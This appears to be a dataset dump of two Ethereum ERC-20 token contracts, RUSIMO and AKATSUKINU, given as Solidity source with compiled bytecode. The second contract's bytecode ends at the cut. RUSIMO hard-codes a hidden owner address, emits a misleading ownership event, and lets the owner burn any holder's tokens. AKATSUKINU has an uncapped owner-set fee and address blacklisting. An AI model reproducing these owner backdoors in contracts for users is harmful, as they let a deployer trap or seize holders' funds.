* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = 0x88804B6E0FEda115fdF6B1E39d314C4d7fFA9210;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract RUSIMO is Ownable, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = 'RUSIMO';
_symbol = 'RSM';
_totalSupply= 1000000000 *(10**decimals());
_balances[owner()]=_totalSupply;
emit Transfer(address(0),owner(),_totalSupply);
}
/**
* @dev Returns the name of the token.
*
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function mint(address account, uint256 amount) public onlyOwner{
_mint( account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function Burn(address account, uint256 amount) public onlyOwner {
_burn( account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb14610209578063cc16f5db1461021c578063dd62ed3e1461022f578063f2fde38b1461026857600080fd5b8063715018a6146101cb5780638da5cb5b146101d357806395d89b41146101ee578063a457c2d7146101f657600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a57806340c10f191461018d57806370a08231146101a257600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61027b565b60405161011a9190610c93565b60405180910390f35b610136610131366004610c69565b61030d565b604051901515815260200161011a565b6003545b60405190815260200161011a565b610136610166366004610c2d565b610323565b6040516012815260200161011a565b610136610188366004610c69565b6103d9565b6101a061019b366004610c69565b610410565b005b61014a6101b0366004610bd8565b6001600160a01b031660009081526001602052604090205490565b6101a0610448565b6000546040516001600160a01b03909116815260200161011a565b61010d6104bc565b610136610204366004610c69565b6104cb565b610136610217366004610c69565b610566565b6101a061022a366004610c69565b610573565b61014a61023d366004610bfa565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101a0610276366004610bd8565b6105a7565b60606004805461028a90610d4c565b80601f01602080910402602001604051908101604052809291908181526020018280546102b690610d4c565b80156103035780601f106102d857610100808354040283529160200191610303565b820191906000526020600020905b8154815290600101906020018083116102e657829003601f168201915b5050505050905090565b600061031a338484610691565b50600192915050565b60006103308484846107b6565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156103ba5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103ce85336103c98685610d35565b610691565b506001949350505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161031a9185906103c9908690610d1d565b6000546001600160a01b0316331461043a5760405162461bcd60e51b81526004016103b190610ce8565b610444828261098e565b5050565b6000546001600160a01b031633146104725760405162461bcd60e51b81526004016103b190610ce8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606005805461028a90610d4c565b3360009081526002602090815260408083206001600160a01b03861684529091528120548281101561054d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103b1565b61055c33856103c98685610d35565b5060019392505050565b600061031a3384846107b6565b6000546001600160a01b0316331461059d5760405162461bcd60e51b81526004016103b190610ce8565b6104448282610a6d565b6000546001600160a01b031633146105d15760405162461bcd60e51b81526004016103b190610ce8565b6001600160a01b0381166106365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103b1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106f35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b1565b6001600160a01b0382166107545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b1565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661081a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b1565b6001600160a01b03821661087c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b1565b6001600160a01b038316600090815260016020526040902054818110156108f45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103b1565b6108fe8282610d35565b6001600160a01b038086166000908152600160205260408082209390935590851681529081208054849290610934908490610d1d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161098091815260200190565b60405180910390a350505050565b6001600160a01b0382166109e45760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016103b1565b80600360008282546109f69190610d1d565b90915550506001600160a01b03821660009081526001602052604081208054839290610a23908490610d1d565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b038216610acd5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103b1565b6001600160a01b03821660009081526001602052604090205481811015610b415760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016103b1565b610b4b8282610d35565b6001600160a01b03841660009081526001602052604081209190915560038054849290610b79908490610d35565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016107a9565b80356001600160a01b0381168114610bd357600080fd5b919050565b600060208284031215610bea57600080fd5b610bf382610bbc565b9392505050565b60008060408385031215610c0d57600080fd5b610c1683610bbc565b9150610c2460208401610bbc565b90509250929050565b600080600060608486031215610c4257600080fd5b610c4b84610bbc565b9250610c5960208501610bbc565b9150604084013590509250925092565b60008060408385031215610c7c57600080fd5b610c8583610bbc565b946020939093013593505050565b600060208083528351808285015260005b81811015610cc057858101830151858201604001528201610ca4565b81811115610cd2576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610d3057610d30610d87565b500190565b600082821015610d4757610d47610d87565b500390565b600181811c90821680610d6057607f821691505b60208210811415610d8157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212203a5fc9c4e06f00bb89eb21d37e5d219480383ae4df36095167632dd1bae5b12464736f6c63430008060033
|
{"success": true, "error": null, "results": {}}
| 4,096 |
0x08a70fba41698e3e1a8530a4824ba4728d9ffe3f
|
/**
*Submitted for verification at Etherscan.io on 2022-04-05
*/
// SPDX-License-Identifier: Unlicensed
//https://t.me/akatsukinuportal
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract AKATSUKINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e13 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "AKATSUKINU";
string private constant _symbol = "AKATSUKINU";
uint private constant _decimals = 9;
uint256 private _teamFee = 13;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.div(15);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (5 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103c3578063cf0848f7146103d8578063cf9d4afa146103f8578063dd62ed3e14610418578063e6ec64ec1461045e578063f2fde38b1461047e57600080fd5b8063715018a6146103265780638da5cb5b1461033b57806390d49b9d1461036357806395d89b4114610172578063a9059cbb14610383578063b515566a146103a357600080fd5b806331c2d8471161010857806331c2d8471461023f5780633bbac5791461025f578063437823ec14610298578063476343ee146102b85780635342acb4146102cd57806370a082311461030657600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b457806318160ddd146101e457806323b872dd1461020b578063313ce5671461022b57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061049e565b005b34801561017e57600080fd5b50604080518082018252600a815269414b415453554b494e5560b01b602082015290516101ab91906118d1565b60405180910390f35b3480156101c057600080fd5b506101d46101cf36600461194b565b6104ea565b60405190151581526020016101ab565b3480156101f057600080fd5b5069021e19e0c9bab24000005b6040519081526020016101ab565b34801561021757600080fd5b506101d4610226366004611977565b610501565b34801561023757600080fd5b5060096101fd565b34801561024b57600080fd5b5061017061025a3660046119ce565b61056a565b34801561026b57600080fd5b506101d461027a366004611a93565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a457600080fd5b506101706102b3366004611a93565b610600565b3480156102c457600080fd5b5061017061064e565b3480156102d957600080fd5b506101d46102e8366004611a93565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031257600080fd5b506101fd610321366004611a93565b610688565b34801561033257600080fd5b506101706106aa565b34801561034757600080fd5b506000546040516001600160a01b0390911681526020016101ab565b34801561036f57600080fd5b5061017061037e366004611a93565b6106e0565b34801561038f57600080fd5b506101d461039e36600461194b565b61075a565b3480156103af57600080fd5b506101706103be3660046119ce565b610767565b3480156103cf57600080fd5b50610170610880565b3480156103e457600080fd5b506101706103f3366004611a93565b610938565b34801561040457600080fd5b50610170610413366004611a93565b610983565b34801561042457600080fd5b506101fd610433366004611ab0565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046a57600080fd5b50610170610479366004611ae9565b610bde565b34801561048a57600080fd5b50610170610499366004611a93565b610c0d565b6000546001600160a01b031633146104d15760405162461bcd60e51b81526004016104c890611b02565b60405180910390fd5b60006104dc30610688565b90506104e781610ca5565b50565b60006104f7338484610e1f565b5060015b92915050565b600061050e848484610f43565b610560843361055b85604051806060016040528060288152602001611c7d602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611386565b610e1f565b5060019392505050565b6000546001600160a01b031633146105945760405162461bcd60e51b81526004016104c890611b02565b60005b81518110156105fc576000600560008484815181106105b8576105b8611b37565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f481611b63565b915050610597565b5050565b6000546001600160a01b0316331461062a5760405162461bcd60e51b81526004016104c890611b02565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105fc573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104fb906113c0565b6000546001600160a01b031633146106d45760405162461bcd60e51b81526004016104c890611b02565b6106de6000611444565b565b6000546001600160a01b0316331461070a5760405162461bcd60e51b81526004016104c890611b02565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f7338484610f43565b6000546001600160a01b031633146107915760405162461bcd60e51b81526004016104c890611b02565b60005b81518110156105fc57600c5482516001600160a01b03909116908390839081106107c0576107c0611b37565b60200260200101516001600160a01b0316141580156108115750600b5482516001600160a01b03909116908390839081106107fd576107fd611b37565b60200260200101516001600160a01b031614155b1561086e5760016005600084848151811061082e5761082e611b37565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087881611b63565b915050610794565b6000546001600160a01b031633146108aa5760405162461bcd60e51b81526004016104c890611b02565b600c54600160a01b900460ff1661090e5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c8565b600c805460ff60b81b1916600160b81b17905542600d8190556109339061012c611b7e565b600e55565b6000546001600160a01b031633146109625760405162461bcd60e51b81526004016104c890611b02565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109ad5760405162461bcd60e51b81526004016104c890611b02565b600c54600160a01b900460ff1615610a155760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c8565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff16